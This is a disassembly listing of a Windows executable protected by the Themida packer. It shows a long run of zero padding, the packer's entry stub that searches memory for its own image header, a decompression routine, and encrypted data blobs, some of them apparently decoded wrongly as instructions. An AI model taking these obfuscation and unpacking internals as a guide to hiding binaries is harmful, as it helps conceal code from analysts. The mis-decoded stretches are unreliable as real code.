		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000F4000 ( 999424.)
; Section size in file		: 000F4000 ( 999424.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 6B23C981h, 4CEB8h, 5444Eh, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005478C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054AEC2 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054B138 SIZE 00000047 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:0043812Co
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_5478C5
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(x^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_5478C5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15735F8h, 460138BFh,	8401E3BAh, 1188FF3Eh, 22EF46B8h
		dd 0BF1AE136h, 0AE19822h, 8478F3BBh, 2E92E26Ah,	0EFFA10h
		dd 6D656854h, 0E1616469h, 8A96AE1Ah, 52F0EFF8h,	741C7365h
		dd 41CE7261h, 4F2E2F70h, 1299C78h, 2145FEFFh, 0F97F17C2h
		dd 0DD15C201h, 75A49C5Ch, 3359B5Fh, 71F23F84h, 0AABA112Eh
		dd 2303CC1Ch, 7C9ED475h, 13722E5h, 0F97F5F08h, 55081724h
		dd 0F73390DFh, 8BF8DD08h, 38D4E4C5h, 5D44E860h,	7ED8100h
		dd 8906A936h, 1CD53095h, 32F1B50Dh, 1DDD8589h, 0A1BD8300h
		dd 740319DCh, 91E88B0Ch, 4F2AB8E2h, 7079C201h, 88386144h
		dd 317B93Eh, 0A3E8456Ah, 9A682903h, 0D2078374h,	250A80DFh
		dd 0F40A894Bh, 14E988D5h, 0BEEC0252h
		db 80h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	al, 5Ah
		sub	edx, 0DA8B40F5h


loc_4E0351:				; CODE XREF: Themida_:004E036Ej
		mov	dword ptr [ebp-28h], 0EB10891h
		inc	eax
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		rep sbb	dword ptr [edi+30h], 45h
		call	dword ptr [edx]
		inc	ebx
		jmp	short loc_4E0351
; ---------------------------------------------------------------------------
		dd 61DC36C6h, 28C9E826h, 0D4604C2h, 0FF7CC481h,	3E491C02h
		dd 18D3740h, 5D8B8045h,	4485C708h, 8D504A19h, 0C3D1000Ah
		dd 89411888h, 0BD810BA8h, 5D0206A2h, 2794E375h,	64BA8D28h
		dd 800475ECh, 0F4BB0E8Ah, 0ABB85B90h, 78540F37h, 0FCCD0D3h
		dd 753B4B08h, 0C3AF05F7h, 4A244647h, 0A2F94662h, 0BA61D142h
		dd 0F0D0078Ah, 45EED85Fh, 0EB4DA0FCh, 0C8ADA304h, 0C53E8046h
		dd 36BAF740h, 7DE63484h, 7FEB0C19h, 6D0CF83Eh, 4CF012C8h
		dd 10A8F40Eh, 6514C14Ah, 3D604F0h, 3E0D1F8h, 12896C2h
		dd 1C8ADB33h, 0CCFB8030h, 0AC30A72h, 0D3057739h, 2226EFEBh
		dd 67617F14h, 0F6660A0Dh, 0F4F51E08h, 10EA0AC3h, 72411AC3h
		dd 460A0D0Bh, 0EA240677h, 0F05D0121h, 83F4EC87h, 7202317Dh
		dd 0C00CB3B0h, 64A57676h, 1CF826AAh, 0A08D76E0h, 0A553BA8h
		dd 78820FFCh, 1BB09CBDh, 0EE538AAh, 0B90E08BAh,	84FC700Ah
		dd 3884BDh, 49470FFEh, 0B9FA1C75h, 0CE6A5D22h, 463F01BBh
		dd 0CEB82F1h, 868ED8F1h, 0AA3A8903h, 83655107h,	0EE1D7F36h
		dd 726508Ah, 5905A0E9h,	0F257FE6Bh, 2113C304h, 8A90C45Fh
		dd 5192575h, 1A084582h,	57472183h, 0A4985BC4h, 2F00F8E4h
		dd 61DAB810h, 823FB7h, 51ADECE3h, 0C32C6248h, 0D8F176CCh
		dd 451060EAh, 5469608Bh, 528C931Ch, 0A2E6D2C0h,	3D53436Ch
		dd 0E0BE671Eh, 3B34CB9Ch, 4E398281h, 830F765Bh,	43D516Ch
		dd 0B33BE3D1h, 75520E46h, 11AC2E09h, 0EC05480Eh, 69065E4h
		dd 0C5847500h, 54968E05h, 8F53929Ch, 29C2040Ah,	86718C8Ah
		dd 760EE71Bh, 81FF44CEh, 22047730h, 6C1341Dh, 7533F984h
		dd 3F41BC20h, 0EFD90ADDh, 0CE02309Ch, 8C26EC41h, 0FF7ECC7Fh
		dd 453F4043h, 4060E9A9h, 8C52C462h, 11254D02h, 13B1AA82h
		dd 845AAB34h, 98561322h, 2A825EF8h, 0A181A7EEh,	8A136519h
		dd 1388B9EAh, 43971423h, 531A08A5h, 0A815BC4h, 1A26558Ah
		dd 0EC811B22h, 40C0EFC4h, 4A0A0F75h, 0F5D98B7Dh, 0DA8D0630h
		dd 229400BCh, 0E2813EDEh, 0D1DCEA05h, 173D5680h, 77F6EDC7h
		dd 0C0300035h, 33A50A82h, 0B1D866Ch, 451910CAh,	1D40E931h
		dd 38E23C9h, 47EB2F53h,	18F85C9Ah, 0F112CA1Ch, 341E2531h
		dd 0AE86C882h, 2838613h, 0F6BC0D3Bh, 0EEE6B024h, 0A979C920h
		dd 0EF6C3F2Eh, 20EA5C92h, 38A1017h, 7DB40DC0h, 0A492F881h
		dd 0EA11FD2Ch, 370B800Ch, 5D4073CCh, 0BECE00B5h, 8A4DEFF7h
		dd 2635686h, 107EB434h,	2411B610h, 49A0E9h, 0ED7D93B1h
		dd 3CF0036Ch, 0B69BFFF3h, 81FDD1D8h, 5933EB03h,	8850BB67h
		dd 0DC5DC182h, 0C33E7BFCh, 2532B081h, 4C17A969h, 1D00734Bh
		dd 0B39050D2h, 9D4E2C3h, 8C5FCAEBh, 1031FF81h, 0C3754482h
		dd 0C0CA5AD0h, 96C2C640h, 68C51503h, 0C8E4CF81h, 2E8C54F2h
		dd 31872058h, 71C83935h, 0FD0FF8B7h, 0D47FBC00h, 0AF778CFAh
		dd 8D750036h, 0C0673D65h, 5B60F90Bh, 815C0A46h,	0B616C021h
		dd 0B4098A3Ch, 0E984E000h, 52585703h, 715CE260h, 0FA7CFA49h
		dd 0A0248EFh, 0EA221622h, 0F43D0706h, 0A6D48F81h, 92071519h
		dd 0F63A60A2h, 20896B3Fh, 7F67C644h, 0EDC100D1h, 0AE6A0670h
		dd 750044D5h, 0D914B01Eh, 8C7C6h, 94FADBA1h, 33586B8Dh
		dd 4F754207h, 4EF090E4h, 1EA805E0h, 0C0FD5D47h,	0E8DA2B89h
		dd 0DD07513Dh, 0F314BCA9h, 7610F5F0h, 0B6A309Eh, 97315558h
		dd 0C5BD5B00h, 0D826771Ah, 0D011009Dh, 0AAB77293h, 6C06F869h
		dd 0C6D195CBh, 0A8F90048h, 0F351955h, 6600939Eh, 0C502CC74h
		dd 0C30A4BC1h, 0C47CBC58h, 0E9A53100h, 0BE38E95h, 0FBDA000Eh
		dd 62FC48CEh, 0F300F525h, 0B517EA57h, 0F47FFh, 9BE37E20h
		dd 0A2E9693h, 3FF3A703h, 802215B0h, 0DD793Dh, 57EE11D6h
		dd 64249405h, 99A2A801h, 132C4790h, 54158184h, 0E061EBDh
		dd 193226h, 0F658A1F3h,	3FC10817h, 1CA60F44h, 0C0C06D34h
		dd 65981FFBh, 0AB001159h, 0DAFAE646h, 0F4784CC6h, 0DB061E63h
		dd 314E4F8h, 0BE83FFF5h, 2D1080A7h, 0B078E4D1h,	0ED87950Fh
		dd 488BE089h, 0C0B61Bh,	3FECC5B4h, 0CBAA3B8Dh, 73C92F00h
		dd 0CD15906Ch, 477CDDh,	998C6071h, 59B4D9EEh, 8D406A03h
		dd 71D3B861h, 0BB152071h, 0EE60D9F0h, 0B9027489h, 23FE03ABh
		dd 0CB5A4C64h, 0CADD9010h, 47448F01h, 81E769D9h, 3D9F8D30h
		dd 33E03C41h, 0B6F5004Eh, 0AB34EA99h, 5600B2FBh, 2690CBDFh
		dd 77FC6289h, 0B75F0C59h, 0D789DD6Eh, 64A1B418h, 440CF0A0h
		dd 3D3B14E3h, 0BF02072Dh, 0BD30B161h, 0EB6D50h,	0A771C983h
		dd 0F60D60DFh, 0DE4731C6h, 9130094h, 5EB56914h,	0F9028893h
		dd 4E1194Eh, 87888685h,	68BF3C89h, 0D8F7FB98h, 7F06A772h
		dd 9870C119h, 10A60E28h, 0C4B5BF85h, 69FCE006h,	8607A849h
		dd 9124708h, 0AFE460C0h, 3E18D941h, 4000EBA8h, 863B74AEh
		dd 0A83C968Fh, 101C0B4h, 607EE414h, 50B99CE0h, 0CB89C3E4h
		dd 0F2D9831Bh, 7050D029h, 9F7B8Bh, 1E4E1CC7h, 40C13561h
		dd 86607C60h, 71AA9Dh, 0CCBB605Ch, 659548DDh, 88686A28h
		dd 0C374E60Dh, 0C9CD5839h, 38818EDDh, 0ED3D1041h, 6CD882C6h
		dd 4112C07Ch, 0F0990C1Ch, 0C77419F3h, 0AC0658AEh, 9920E0C1h
